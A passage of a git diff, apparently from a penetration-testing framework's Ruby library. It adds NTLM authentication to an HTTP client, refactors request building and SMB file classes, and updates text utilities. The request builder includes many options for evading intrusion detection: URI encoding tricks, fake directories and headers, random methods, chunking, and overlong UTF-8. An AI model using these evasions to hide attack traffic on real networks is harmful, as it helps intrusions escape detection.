domain_name, + workstation_name, + ntlmssp_flags + )) + + ntlm_message_1 = provider + b64_blob + + begin + # First request to get the challenge + opts['headers']['Authorization'] = ntlm_message_1 + r = request_cgi(opts) + resp = _send_recv(r, to) + unless resp.kind_of? Rex::Proto::Http::Response + return nil + end + + return resp unless resp.code == 401 && resp.headers['WWW-Authenticate'] + + # Get the challenge and craft the response + ntlm_challenge = resp.headers['WWW-Authenticate'].scan(/#{provider}([A-Z0-9\x2b\x2f=]+)/i).flatten[0] + return resp unless ntlm_challenge + + ntlm_message_2 = Rex::Text::decode_base64(ntlm_challenge) + blob_data = ::Rex::Proto::NTLM::Utils.parse_ntlm_type_2_blob(ntlm_message_2) + + challenge_key = blob_data[:challenge_key] + server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error + default_name = blob_data[:default_name] || '' #netbios name + default_domain = blob_data[:default_domain] || '' #netbios domain + dns_host_name = blob_data[:dns_host_name] || '' #dns name + dns_domain_name = blob_data[:dns_domain_name] || '' #dns domain + chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || '' #Client time + + spnopt = {:use_spn => self.config['SendSPN'], :name => self.hostname} + + resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = ::Rex::Proto::NTLM::Utils.create_lm_ntlm_responses( + opts['username'], + opts['password'], + challenge_key, + domain_name, + default_name, + default_domain, + dns_host_name, + dns_domain_name, + chall_MsvAvTimestamp, + spnopt, + ntlm_options + ) + + ntlm_message_3 = ::Rex::Proto::NTLM::Utils.make_ntlmssp_blob_auth( + domain_name, + workstation_name, + opts['username'], + resp_lm, + resp_ntlm, + '', + ntlmssp_flags + ) + + ntlm_message_3 = Rex::Text::encode_base64(ntlm_message_3) + + # Send the response + opts['headers']['Authorization'] = "#{provider}#{ntlm_message_3}" + r = request_cgi(opts) + resp = _send_recv(r, to, true) + unless resp.kind_of? Rex::Proto::Http::Response + return nil + end + return resp + + rescue ::Errno::EPIPE, ::Timeout::Error + return nil + end + end # # Read a response from the server # + # @return [Response] def read_response(t = -1, opts = {}) resp = Response.new @@ -474,338 +672,6 @@ class Client pipeline end - # - # Return the encoded URI - # ['none','hex-normal', 'hex-all', 'u-normal', 'u-all'] - def set_encode_uri(uri) - a = uri - self.config['uri_encode_count'].times { - a = Rex::Text.uri_encode(a, self.config['uri_encode_mode']) - } - return a - end - - # - # Return the encoded query string - # - def set_encode_qs(qs) - a = qs - self.config['uri_encode_count'].times { - a = Rex::Text.uri_encode(a, self.config['uri_encode_mode']) - } - return a - end - - # - # Return the uri - # - def set_uri(uri) - - if (self.config['uri_dir_self_reference']) - uri.gsub!('/', '/./') - end - - if (self.config['uri_dir_fake_relative']) - buf = "" - uri.split('/').each do |part| - cnt = rand(8)+2 - 1.upto(cnt) { |idx| - buf << "/" + Rex::Text.rand_text_alphanumeric(rand(32)+1) - } - buf << ("/.." * cnt) - buf << "/" + part - end - uri = buf - end - - if (self.config['uri_full_url']) - url = self.ssl ? "https" : "http" - url << self.config['vhost'] - url << ((self.port == 80) ? "" : ":#{self.port}") - url << uri - url - else - uri - end - end - - # - # Return the cgi - # - def set_cgi(uri) - - if (self.config['uri_dir_self_reference']) - uri.gsub!('/', '/./') - end - - if (self.config['uri_dir_fake_relative']) - buf = "" - uri.split('/').each do |part| - cnt = rand(8)+2 - 1.upto(cnt) { |idx| - buf << "/" + Rex::Text.rand_text_alphanumeric(rand(32)+1) - } - buf << ("/.." * cnt) - buf << "/" + part - end - uri = buf - end - - url = uri - - if (self.config['uri_full_url']) - url = self.ssl ? "https" : "http" - url << self.config['vhost'] - url << (self.port == 80) ? "" : ":#{self.port}" - url << uri - end - - url - end - - # - # Return the HTTP method string - # - def set_method(method) - ret = method - - if (self.config['method_random_valid']) - ret = ['GET', 'POST', 'HEAD'][rand(3)] - end - - if (self.config['method_random_invalid']) - ret = Rex::Text.rand_text_alpha(rand(20)+1) - end - - if (self.config['method_random_case']) - ret = Rex::Text.to_rand_case(ret) - end - - ret - end - - # - # Return the HTTP version string - # - def set_version(protocol, version) - ret = protocol + "/" + version - - if (self.config['version_random_valid']) - ret = protocol + "/" + ['1.0', '1.1'][rand(2)] - end - - if (self.config['version_random_invalid']) - ret = Rex::Text.rand_text_alphanumeric(rand(20)+1) - end - - if (self.config['version_random_case']) - ret = Rex::Text.to_rand_case(ret) - end - - ret << "\r\n" - end - - # - # Return the HTTP seperator and body string - # - def set_body(data) - return "\r\n" + data if self.config['chunked_size'] == 0 - str = data.dup - chunked = '' - while str.size > 0 - chunk = str.slice!(0,rand(self.config['chunked_size']) + 1) - chunked << sprintf("%x", chunk.size) + "\r\n" + chunk + "\r\n" - end - "\r\n" + chunked + "0\r\n\r\n" - end - - # - # Return the HTTP path info - # TODO: - # * Encode path information - def set_path_info(path) - path ? path : '' - end - - # - # Return the spacing between the method and uri - # - def set_method_uri_spacer - len = self.config['pad_method_uri_count'].to_i - set = " " - buf = "" - - case self.config['pad_method_uri_type'] - when 'tab' - set = "\t" - when 'apache' - set = "\t \x0b\x0c\x0d" - end - - while(buf.length < len) - buf << set[ rand(set.length) ] - end - - return buf - end - - # - # Return the spacing between the uri and the version - # - def set_uri_version_spacer - len = self.config['pad_uri_version_count'].to_i - set = " " - buf = "" - - case self.config['pad_uri_version_type'] - when 'tab' - set = "\t" - when 'apache' - set = "\t \x0b\x0c\x0d" - end - - while(buf.length < len) - buf << set[ rand(set.length) ] - end - - return buf - end - - # - # Return the padding to place before the uri - # - def set_uri_prepend - prefix = "" - - if (self.config['uri_fake_params_start']) - prefix << '/%3fa=b/../' - end - - if (self.config['uri_fake_end']) - prefix << '/%20HTTP/1.0/../../' - end - - prefix - end - - # - # Return the padding to place before the uri - # - def set_uri_append - # TODO: - # * Support different padding types - "" - end - - # - # Return the HTTP Host header - # - def set_host_header(host=nil) - return "" if self.config['uri_full_url'] - host ||= self.config['vhost'] - - # IPv6 addresses must be placed in brackets - if Rex::Socket.is_ipv6?(host) - host = "[#{host}]" - end - - # The port should be appended if non-standard - if not [80,443].include?(self.port) - host = host + ":#{port}" - end - - set_formatted_header("Host", host) - end - - # - # Return the HTTP agent header - # - def set_agent_header(agent) - agent ? set_formatted_header("User-Agent", agent) : "" - end - - # - # Return the HTTP cookie header - # - def set_cookie_header(cookie) - cookie ? set_formatted_header("Cookie", cookie) : "" - end - - # - # Return the HTTP connection header - # - def set_connection_header(conn) - conn ? set_formatted_header("Connection", conn) : "" - end - - # - # Return the content type header - # - def set_content_type_header(ctype) - set_formatted_header("Content-Type", ctype) - end - - # - # Return the content length header - def set_content_len_header(clen) - return "" if self.config['chunked_size'] > 0 - set_formatted_header("Content-Length", clen) - end - - # - # Return the Authorization basic-auth header - # - def set_basic_auth_header(auth) - auth ? set_formatted_header("Authorization", "Basic " + Rex::Text.encode_base64(auth)) : "" - end - - # - # Return a string of formatted extra headers - # - def set_extra_headers(headers) - buf = '' - - if (self.config['pad_fake_headers']) - 1.upto(self.config['pad_fake_headers_count'].to_i) do |i| - buf << set_formatted_header( - Rex::Text.rand_text_alphanumeric(rand(32)+1), - Rex::Text.rand_text_alphanumeric(rand(32)+1) - ) - end - end - - headers.each_pair do |var,val| - buf << set_formatted_header(var, val) - end - - buf - end - - def set_chunked_header() - return "" if self.config['chunked_size'] == 0 - set_formatted_header('Transfer-Encoding', 'chunked') - end - - # - # Return a string of raw header data - # - def set_raw_headers(data) - data - end - - # - # Return a formatted header string - # - def set_formatted_header(var, val) - if (self.config['header_folding']) - "#{var}:\r\n\t#{val}\r\n" - else - "#{var}: #{val}\r\n" - end - end - - - # # The client request configuration # @@ -839,6 +705,9 @@ class Client # attr_accessor :proxies + # Auth + attr_accessor :username, :password + # When parsing the request, thunk off the first response from the server, since junk attr_accessor :junk_pipeline diff --git a/lib/rex/proto/http/client_request.rb b/lib/rex/proto/http/client_request.rb new file mode 100644 index 0000000000..76a4294af1 --- /dev/null +++ b/lib/rex/proto/http/client_request.rb @@ -0,0 +1,462 @@ +# -*- coding: binary -*- +require 'uri' +#require 'rex/proto/http' +require 'rex/socket' +require 'rex/text' + +require 'pp' + +module Rex +module Proto +module Http + +class ClientRequest + + DefaultUserAgent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" + DefaultConfig = { + # + # Regular HTTP stuff + # + 'agent' => DefaultUserAgent, + 'cgi' => true, + 'cookie' => nil, + 'data' => '', + 'headers' => nil, + 'raw_headers' => '', + 'method' => 'GET', + 'path_info' => '', + 'port' => 80, + 'proto' => 'HTTP', + 'query' => '', + 'ssl' => false, + 'uri' => '/', + 'vars_get' => {}, + 'vars_post' => {}, + 'version' => '1.1', + 'vhost' => nil, + + # + # Evasion options + # + 'encode_params' => true, + 'encode' => false, + 'uri_encode_mode' => 'hex-normal', # hex-all, hex-random, u-normal, u-random, u-all + 'uri_encode_count' => 1, # integer + 'uri_full_url' => false, # bool + 'pad_method_uri_count' => 1, # integer + 'pad_uri_version_count' => 1, # integer + 'pad_method_uri_type' => 'space', # space, tab, apache + 'pad_uri_version_type' => 'space', # space, tab, apache + 'method_random_valid' => false, # bool + 'method_random_invalid' => false, # bool + 'method_random_case' => false, # bool + 'version_random_valid' => false, # bool + 'version_random_invalid' => false, # bool + 'version_random_case' => false, # bool + 'uri_dir_self_reference' => false, # bool + 'uri_dir_fake_relative' => false, # bool + 'uri_use_backslashes' => false, # bool + 'pad_fake_headers' => false, # bool + 'pad_fake_headers_count' => 16, # integer + 'pad_get_params' => false, # bool + 'pad_get_params_count' => 8, # integer + 'pad_post_params' => false, # bool + 'pad_post_params_count' => 8, # integer + 'uri_fake_end' => false, # bool + 'uri_fake_params_start' => false, # bool + 'header_folding' => false, # bool + 'chunked_size' => 0, # integer + + # + # NTLM Options + # + 'usentlm2_session' => true, + 'use_ntlmv2' => true, + 'send_lm' => true, + 'send_ntlm' => true, + 'SendSPN' => true, + 'UseLMKey' => false, + 'domain' => 'WORKSTATION', + # + # Digest Options + # + 'DigestAuthIIS' => true + } + + attr_reader :opts + + def initialize(opts={}) + @opts = DefaultConfig.merge(opts) + @opts['headers'] ||= {} + end + + def to_s + + # Start GET query string + qstr = opts['query'] ? opts['query'].dup : "" + + # Start POST data string + pstr = opts['data'] ? opts['data'].dup : "" + + if opts['cgi'] + uri_str = set_uri + + if (opts['pad_get_params']) + 1.upto(opts['pad_get_params_count'].to_i) do |i| + qstr << '&' if qstr.length > 0 + qstr << set_encode_uri(Rex::Text.rand_text_alphanumeric(rand(32)+1)) + qstr << '=' + qstr << set_encode_uri(Rex::Text.rand_text_alphanumeric(rand(32)+1)) + end + end + + opts['vars_get'].each_pair do |var,val| + qstr << '&' if qstr.length > 0 + qstr << (opts['encode_params'] ? set_encode_uri(var) : var) + qstr << '=' + qstr << (opts['encode_params'] ? set_encode_uri(val) : val) + end + + if (opts['pad_post_params']) + 1.upto(opts['pad_post_params_count'].to_i) do |i| + rand_var = Rex::Text.rand_text_alphanumeric(rand(32)+1) + rand_val = Rex::Text.rand_text_alphanumeric(rand(32)+1) + pstr << '&' if pstr.length > 0 + pstr << (opts['encode_params'] ? set_encode_uri(rand_var) : rand_var) + pstr << '=' + pstr << (opts['encode_params'] ? set_encode_uri(rand_val) : rand_val) + end + end + + opts['vars_post'].each_pair do |var,val| + pstr << '&' if pstr.length > 0 + pstr << (opts['encode_params'] ? set_encode_uri(var) : var) + pstr << '=' + pstr << (opts['encode_params'] ? set_encode_uri(val) : val) + end + else + if opts['encode'] + qstr = set_encode_uri(qstr) + end + uri_str = set_uri + end + + req = '' + req << set_method + req << set_method_uri_spacer() + req << set_uri_prepend() + + if opts['encode'] + req << set_encode_uri(uri_str) + else + req << uri_str + end + + + if (qstr.length > 0) + req << '?' + req << qstr + end + + req << set_path_info + req << set_uri_append() + req << set_uri_version_spacer() + req << set_version + req << set_host_header + + # If an explicit User-Agent header is set, then use that instead of + # the default + unless opts['headers'] and opts['headers'].keys.map{|x| x.downcase }.include?('user-agent') + req << set_agent_header + end + + # Similar to user-agent, only add an automatic auth header if a + # manual one hasn't been provided + unless opts['headers'] and opts['headers'].keys.map{|x| x.downcase }.include?('authorization') + req << set_auth_header + end + + req << set_cookie_header + req << set_connection_header + req << set_extra_headers + + req << set_content_type_header + req << set_content_len_header(pstr.length) + req << set_chunked_header() + req << opts['raw_headers'] + req << set_body(pstr) + end + + protected + + def set_uri + uri_str = opts['uri'].dup + if (opts['uri_dir_self_reference']) + uri_str.gsub!('/', '/./') + end + + if (opts['uri_dir_fake_relative']) + buf = "" + uri_str.split('/',-1).each do |part| + cnt = rand(8)+2 + 1.upto(cnt) { |idx| + buf << "/" + Rex::Text.rand_text_alphanumeric(rand(32)+1) + } + buf << ("/.." * cnt) + buf << "/" + part + end + uri_str = buf + end + + if (opts['uri_full_url']) + url = opts['ssl'] ? "https://" : "http://" + url << opts['vhost'] + url << ((opts['port'] == 80) ? "" : ":#{opts['port']}") + url << uri_str + url + else + uri_str + end + end + + def set_encode_uri(str) + a = str.dup + opts['uri_encode_count'].times { + a = Rex::Text.uri_encode(a, opts['uri_encode_mode']) + } + return a + end + + def set_method + ret = opts['method'].dup + + if (opts['method_random_valid']) + ret = ['GET', 'POST', 'HEAD'][rand(3)] + end + + if (opts['method_random_invalid']) + ret = Rex::Text.rand_text_alpha(rand(20)+1) + end + + if (opts['method_random_case']) + ret = Rex::Text.to_rand_case(ret) + end + + ret + end + + def set_method_uri_spacer + len = opts['pad_method_uri_count'].to_i + set = " " + buf = "" + + case opts['pad_method_uri_type'] + when 'tab' + set = "\t" + when 'apache' + set = "\t \x0b\x0c\x0d" + end + + while(buf.length < len) + buf << set[ rand(set.length) ] + end + + return buf + end + + # + # Return the padding to place before the uri + # + def set_uri_prepend + prefix = "" + + if (opts['uri_fake_params_start']) + prefix << '/%3fa=b/../' + end + + if (opts['uri_fake_end']) + prefix << '/%20HTTP/1.0/../../' + end + + prefix + end + + # + # Return the HTTP path info + # TODO: + # * Encode path information + def set_path_info + opts['path_info'] ? opts['path_info'] : '' + end + + # + # Return the padding to place before the uri + # + def set_uri_append + # TODO: + # * Support different padding types + "" + end + + # + # Return the spacing between the uri and the version + # + def set_uri_version_spacer + len = opts['pad_uri_version_count'].to_i + set = " " + buf = "" + + case opts['pad_uri_version_type'] + when 'tab' + set = "\t" + when 'apache' + set = "\t \x0b\x0c\x0d" + end + + while(buf.length < len) + buf << set[ rand(set.length) ] + end + + return buf + end + + # + # Return the HTTP version string + # + def set_version + ret = opts['proto'] + "/" + opts['version'] + + if (opts['version_random_valid']) + ret = opts['proto'] + "/" + ['1.0', '1.1'][rand(2)] + end + + if (opts['version_random_invalid']) + ret = Rex::Text.rand_text_alphanumeric(rand(20)+1) + end + + if (opts['version_random_case']) + ret = Rex::Text.to_rand_case(ret) + end + + ret << "\r\n" + end + + # + # Return a formatted header string + # + def set_formatted_header(var, val) + if (self.opts['header_folding']) + "#{var}:\r\n\t#{val}\r\n" + else + "#{var}: #{val}\r\n" + end + end + + # + # Return the HTTP agent header + # + def set_agent_header + opts['agent'] ? set_formatted_header("User-Agent", opts['agent']) : "" + end + + def set_auth_header + opts['authorization'] ? set_formatted_header("Authorization", opts['authorization']) : "" + end + + # + # Return the HTTP cookie header + # + def set_cookie_header + opts['cookie'] ? set_formatted_header("Cookie", opts['cookie']) : "" + end + + # + # Return the HTTP connection header + # + def set_connection_header + opts['connection'] ? set_formatted_header("Connection", opts['connection']) : "" + end + + # + # Return the content type header + # + def set_content_type_header + opts['ctype'] ? set_formatted_header("Content-Type", opts['ctype']) : "" + end + + # + # Return the content length header + def set_content_len_header(clen) + return "" if opts['chunked_size'] > 0 + set_formatted_header("Content-Length", clen) + end + + # + # Return the HTTP Host header + # + def set_host_header + return "" if opts['uri_full_url'] + host = opts['vhost'] + + # IPv6 addresses must be placed in brackets + if Rex::Socket.is_ipv6?(host) + host = "[#{host}]" + end + + # The port should be appended if non-standard + if not [80,443].include?(opts['port']) + host = host + ":#{opts['port']}" + end + + set_formatted_header("Host", host) + end + + # + # Return a string of formatted extra headers + # + def set_extra_headers + buf = '' + + if (opts['pad_fake_headers']) + 1.upto(opts['pad_fake_headers_count'].to_i) do |i| + buf << set_formatted_header( + Rex::Text.rand_text_alphanumeric(rand(32)+1), + Rex::Text.rand_text_alphanumeric(rand(32)+1) + ) + end + end + + opts['headers'].each_pair do |var,val| + buf << set_formatted_header(var, val) + end + + buf + end + + def set_chunked_header + return "" if opts['chunked_size'] == 0 + set_formatted_header('Transfer-Encoding', 'chunked') + end + + # + # Return the HTTP seperator and body string + # + def set_body(bdata) + return "\r\n" + bdata if opts['chunked_size'] == 0 + str = bdata.dup + chunked = '' + while str.size > 0 + chunk = str.slice!(0,rand(opts['chunked_size']) + 1) + chunked << sprintf("%x", chunk.size) + "\r\n" + chunk + "\r\n" + end + "\r\n" + chunked + "0\r\n\r\n" + end + + +end + + + +end +end +end diff --git a/lib/rex/proto/smb/client.rb b/lib/rex/proto/smb/client.rb index bec1ff50d5..72c35379fb 100644 --- a/lib/rex/proto/smb/client.rb +++ b/lib/rex/proto/smb/client.rb @@ -1899,7 +1899,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils resp = find_next(last_search_id, last_offset, last_filename) search_next = 1 # Flip bit so response params will parse correctly end - end until eos != 0 or last_offset == 0 + end until eos != 0 or last_offset == 0 rescue ::Exception raise $! end diff --git a/lib/rex/proto/smb/simpleclient.rb b/lib/rex/proto/smb/simpleclient.rb index 454a3c694e..c0cd9d02e9 100644 --- a/lib/rex/proto/smb/simpleclient.rb +++ b/lib/rex/proto/smb/simpleclient.rb @@ -12,6 +12,8 @@ require 'rex/proto/smb/evasions' require 'rex/proto/smb/crypt' require 'rex/proto/smb/utils' require 'rex/proto/smb/client' +require 'rex/proto/smb/simpleclient/open_file' +require 'rex/proto/smb/simpleclient/open_pipe' # Some short-hand class aliases CONST = Rex::Proto::SMB::Constants @@ -20,157 +22,11 @@ UTILS = Rex::Proto::SMB::Utils XCEPT = Rex::Proto::SMB::Exceptions EVADE = Rex::Proto::SMB::Evasions - - class OpenFile - attr_accessor :name, :tree_id, :file_id, :mode, :client, :chunk_size - - def initialize(client, name, tree_id, file_id) - self.client = client - self.name = name - self.tree_id = tree_id - self.file_id = file_id - self.chunk_size = 48000 - end - - def delete - begin - self.close - rescue - end - self.client.delete(self.name, self.tree_id) - end - - # Close this open file - def close - self.client.close(self.file_id, self.tree_id) - end - - # Read data from the file - def read(length = nil, offset = 0) - if (length == nil) - data = '' - fptr = offset - ok = self.client.read(self.file_id, fptr, self.chunk_size) - while (ok and ok['Payload'].v['DataLenLow'] > 0) - buff = ok.to_s.slice( - ok['Payload'].v['DataOffset'] + 4, - ok['Payload'].v['DataLenLow'] - ) - data << buff - if ok['Payload'].v['Remaining'] == 0 - break - end - fptr += ok['Payload'].v['DataLenLow'] - - begin - ok = self.client.read(self.file_id, fptr, self.chunk_size) - rescue XCEPT::ErrorCode => e - case e.error_code - when 0x00050001 - # Novell fires off an access denied error on EOF - ok = nil - else - raise e - end - end - end - - return data - else - ok = self.client.read(self.file_id, offset, length) - data = ok.to_s.slice( - ok['Payload'].v['DataOffset'] + 4, - ok['Payload'].v['DataLenLow'] - ) - return data - end - end - - def << (data) - self.write(data) - end - - # Write data to the file - def write(data, offset = 0) - # Track our offset into the remote file - fptr = offset - - # Duplicate the data so we can use slice! - data = data.dup - - # Take our first chunk of bytes - chunk = data.slice!(0, self.chunk_size) - - # Keep writing data until we run out - while (chunk.length > 0) - ok = self.client.write(self.file_id, fptr, chunk) - cl = ok['Payload'].v['CountLow'] - - # Partial write, push the failed data back into the queue - if (cl != chunk.length) - data = chunk.slice(cl - 1, chunk.length - cl) + data - end - - # Increment our painter and grab the next chunk - fptr += cl - chunk = data.slice!(0, self.chunk_size) - end - end - end - - class OpenPipe < OpenFile - - # Valid modes are: 'trans' and 'rw' - attr_accessor :mode - - def initialize(*args) - super(*args) - self.mode = 'rw' - @buff = '' - end - - def read_buffer(length, offset=0) - length ||= @buff.length - @buff.slice!(0, length) - end - - def read(length = nil, offset = 0) - case self.mode - when 'trans' - read_buffer(length, offset) - when 'rw' - super(length, offset) - else - raise ArgumentError - end - end - - def write(data, offset = 0) - case self.mode - - when 'trans' - write_trans(data, offset) - when 'rw' - super(data, offset) - else - raise ArgumentError - end - end - - def write_trans(data, offset=0) - ack = self.client.trans_named_pipe(self.file_id, data) - doff = ack['Payload'].v['DataOffset'] - dlen = ack['Payload'].v['DataCount'] - @buff << ack.to_s[4+doff, dlen] - end - end - - # Public accessors -attr_accessor :last_error +attr_accessor :last_error # Private accessors -attr_accessor :socket, :client, :direct, :shares, :last_share +attr_accessor :socket, :client, :direct, :shares, :last_share # Pass the socket object and a boolean indicating whether the socket is netbios or cifs def initialize(socket, direct = false) @@ -180,7 +36,7 @@ attr_accessor :socket, :client, :direct, :shares, :last_share self.shares = { } end - def login( name = '', user = '', pass = '', domain = '', + def login(name = '', user = '', pass = '', domain = '', verify_signature = false, usentlmv2 = false, usentlm2_session = true, send_lm = true, use_lanman_key = false, send_ntlm = true, native_os = 'Windows 2000 2195', native_lm = 'Windows 2000 5.0', spnopt = {}) diff --git a/lib/rex/proto/smb/simpleclient/open_file.rb b/lib/rex/proto/smb/simpleclient/open_file.rb new file mode 100644 index 0000000000..66696dfae4 --- /dev/null +++ b/lib/rex/proto/smb/simpleclient/open_file.rb @@ -0,0 +1,106 @@ +# -*- coding: binary -*- +module Rex +module Proto +module SMB +class SimpleClient + +class OpenFile + attr_accessor :name, :tree_id, :file_id, :mode, :client, :chunk_size + + def initialize(client, name, tree_id, file_id) + self.client = client + self.name = name + self.tree_id = tree_id + self.file_id = file_id + self.chunk_size = 48000 + end + + def delete + begin + self.close + rescue + end + self.client.delete(self.name, self.tree_id) + end + + # Close this open file + def close + self.client.close(self.file_id, self.tree_id) + end + + # Read data from the file + def read(length = nil, offset = 0) + if (length == nil) + data = '' + fptr = offset + ok = self.client.read(self.file_id, fptr, self.chunk_size) + while (ok and ok['Payload'].v['DataLenLow'] > 0) + buff = ok.to_s.slice( + ok['Payload'].v['DataOffset'] + 4, + ok['Payload'].v['DataLenLow'] + ) + data << buff + if ok['Payload'].v['Remaining'] == 0 + break + end + fptr += ok['Payload'].v['DataLenLow'] + + begin + ok = self.client.read(self.file_id, fptr, self.chunk_size) + rescue XCEPT::ErrorCode => e + case e.error_code + when 0x00050001 + # Novell fires off an access denied error on EOF + ok = nil + else + raise e + end + end + end + + return data + else + ok = self.client.read(self.file_id, offset, length) + data = ok.to_s.slice( + ok['Payload'].v['DataOffset'] + 4, + ok['Payload'].v['DataLenLow'] + ) + return data + end + end + + def << (data) + self.write(data) + end + + # Write data to the file + def write(data, offset = 0) + # Track our offset into the remote file + fptr = offset + + # Duplicate the data so we can use slice! + data = data.dup + + # Take our first chunk of bytes + chunk = data.slice!(0, self.chunk_size) + + # Keep writing data until we run out + while (chunk.length > 0) + ok = self.client.write(self.file_id, fptr, chunk) + cl = ok['Payload'].v['CountLow'] + + # Partial write, push the failed data back into the queue + if (cl != chunk.length) + data = chunk.slice(cl - 1, chunk.length - cl) + data + end + + # Increment our painter and grab the next chunk + fptr += cl + chunk = data.slice!(0, self.chunk_size) + end + end +end +end +end +end +end diff --git a/lib/rex/proto/smb/simpleclient/open_pipe.rb b/lib/rex/proto/smb/simpleclient/open_pipe.rb new file mode 100644 index 0000000000..387ee4ff9a --- /dev/null +++ b/lib/rex/proto/smb/simpleclient/open_pipe.rb @@ -0,0 +1,57 @@ +# -*- coding: binary -*- + +module Rex +module Proto +module SMB +class SimpleClient + +class OpenPipe < OpenFile + + # Valid modes are: 'trans' and 'rw' + attr_accessor :mode + + def initialize(*args) + super(*args) + self.mode = 'rw' + @buff = '' + end + + def read_buffer(length, offset=0) + length ||= @buff.length + @buff.slice!(0, length) + end + + def read(length = nil, offset = 0) + case self.mode + when 'trans' + read_buffer(length, offset) + when 'rw' + super(length, offset) + else + raise ArgumentError + end + end + + def write(data, offset = 0) + case self.mode + + when 'trans' + write_trans(data, offset) + when 'rw' + super(data, offset) + else + raise ArgumentError + end + end + + def write_trans(data, offset=0) + ack = self.client.trans_named_pipe(self.file_id, data) + doff = ack['Payload'].v['DataOffset'] + dlen = ack['Payload'].v['DataCount'] + @buff << ack.to_s[4+doff, dlen] + end +end +end +end +end +end diff --git a/lib/rex/text.rb b/lib/rex/text.rb index 37137e7af3..e9a46035ff 100644 --- a/lib/rex/text.rb +++ b/lib/rex/text.rb @@ -4,14 +4,15 @@ require 'digest/sha1' require 'stringio' require 'cgi' -begin - old_verbose = $VERBOSE - $VERBOSE = nil - require 'iconv' - require 'zlib' -rescue ::LoadError -ensure - $VERBOSE = old_verbose +%W{ iconv zlib }.each do |libname| + begin + old_verbose = $VERBOSE + $VERBOSE = nil + require libname + rescue ::LoadError + ensure + $VERBOSE = old_verbose + end end module Rex @@ -39,8 +40,8 @@ module Text UpperAlpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" LowerAlpha = "abcdefghijklmnopqrstuvwxyz" Numerals = "0123456789" - Base32 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567" - Alpha = UpperAlpha + LowerAlpha + Base32 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567" + Alpha = UpperAlpha + LowerAlpha AlphaNumeric = Alpha + Numerals HighAscii = [*(0x80 .. 0xff)].pack("C*") LowAscii = [*(0x00 .. 0x1f)].pack("C*") @@ -157,6 +158,12 @@ module Text # Converts ISO-8859-1 to UTF-8 # def self.to_utf8(str) + + if str.respond_to?(:encode) + # Skip over any bytes that fail to convert to UTF-8 + return str.encode('utf-8', { :invalid => :replace, :undef => :replace, :replace => '' }) + end + begin Iconv.iconv("utf-8","iso-8859-1", str).join(" ") rescue @@ -307,16 +314,16 @@ module Text # # Supported unicode types include: utf-16le, utf16-be, utf32-le, utf32-be, utf-7, and utf-8 # - # Providing 'mode' provides hints to the actual encoder as to how it should encode the string. Only UTF-7 and UTF-8 use "mode". + # Providing 'mode' provides hints to the actual encoder as to how it should encode the string. Only UTF-7 and UTF-8 use "mode". # # utf-7 by default does not encode alphanumeric and a few other characters. By specifying the mode of "all", then all of the characters are encoded, not just the non-alphanumeric set. # to_unicode(str, 'utf-7', 'all') # # utf-8 specifies that alphanumeric characters are used directly, eg "a" is just "a". However, there exist 6 different overlong encodings of "a" that are technically not valid, but parse just fine in most utf-8 parsers. (0xC1A1, 0xE081A1, 0xF08081A1, 0xF8808081A1, 0xFC80808081A1, 0xFE8080808081A1). How many bytes to use for the overlong enocding is specified providing 'size'. - # to_unicode(str, 'utf-8', 'overlong', 2) + # to_unicode(str, 'utf-8', 'overlong', 2) # - # Many utf-8 parsers also allow invalid overlong encodings, where bits that are unused when encoding a single byte are modified. Many parsers will ignore these bits, rendering simple string matching to be ineffective for dealing with UTF-8 strings. There are many more invalid overlong encodings possible for "a". For example, three encodings are available for an invalid 2 byte encoding of "a". (0xC1E1 0xC161 0xC121). By specifying "invalid", a random invalid encoding is chosen for the given byte size. - # to_unicode(str, 'utf-8', 'invalid', 2) + # Many utf-8 parsers also allow invalid overlong encodings, where bits that are unused when encoding a single byte are modified. Many parsers will ignore these bits, rendering simple string matching to be ineffective for dealing with UTF-8 strings. There are many more invalid overlong encodings possible for "a". For example, three encodings are available for an invalid 2 byte encoding of "a". (0xC1E1 0xC161 0xC121). By specifying "invalid", a random invalid encoding is chosen for the given byte size. + # to_unicode(str, 'utf-8', 'invalid', 2) # # utf-7 defaults to 'normal' utf-7 encoding # utf-8 defaults to 2 byte 'normal' encoding @@ -360,7 +367,7 @@ module Text string = '' str.each_byte { |a| if (a < 21 || a > 0x7f) || mode != '' - # ugh. turn a single byte into the binary representation of it, in array form + # ugh. turn a single byte into the binary representation of it, in array form bin = [a].pack('C').unpack('B8')[0].split(//) # even more ugh. @@ -543,7 +550,7 @@ module Text when 'u-half' return str.gsub(all) { |s| Rex::Text.to_hex(Rex::Text.to_unicode(s, 'uhwtfms-half'), '%u', 2) } else - raise TypeError, 'invalid mode' + raise TypeError, "invalid mode #{mode.inspect}" end end @@ -658,6 +665,49 @@ module Text buf << "\n" end + # + # Converts a string a nicely formatted and addressed ex dump + # + def self.to_addr_hex_dump(str, start_addr=0, width=16) + buf = '' + idx = 0 + cnt = 0 + snl = false + lst = 0 + addr = start_addr + + while (idx < str.length) + + buf << "%08x" % addr + buf << " " * 4 + chunk = str[idx, width] + line = chunk.unpack("H*")[0].scan(/../).join(" ") + buf << line + + if (lst == 0) + lst = line.length + buf << " " * 4 + else + buf << " " * ((lst - line.length) + 4).abs + end + + chunk.unpack("C*").each do |c| + if (c > 0x1f and c < 0x7f) + buf << c.chr + else + buf << "." + end + end + + buf << "\n" + + idx += width + addr += width + end + + buf << "\n" + end + # # Converts a hex string to a raw string # @@ -691,20 +741,20 @@ module Text # Converts a string to a hex version with wrapping support # def self.hexify(str, col = DefaultWrap, line_start = '', line_end = '', buf_start = '', buf_end = '') - output = buf_start - cur = 0 - count = 0 + output = buf_start + cur = 0 + count = 0 new_line = true # Go through each byte in the string str.each_byte { |byte| count += 1 - append = '' + append = '' # If this is a new line, prepend with the # line start text if (new_line == true) - append << line_start + append << line_start new_line = false end @@ -716,7 +766,7 @@ module Text # time to finish up this line if ((cur + line_end.length >= col) or (cur + buf_end.length >= col)) new_line = true - cur = 0 + cur = 0 # If this is the last byte, use the buf_end instead of # line_end @@ -1277,7 +1327,7 @@ module Text else ret = str end - ret + ret end # diff --git a/lib/rkelly/visitors/evaluation_visitor.rb b/lib/rkelly/visitors/evaluation_visitor.rb index 6b98b7b903..c7e3aa9607 100644 --- 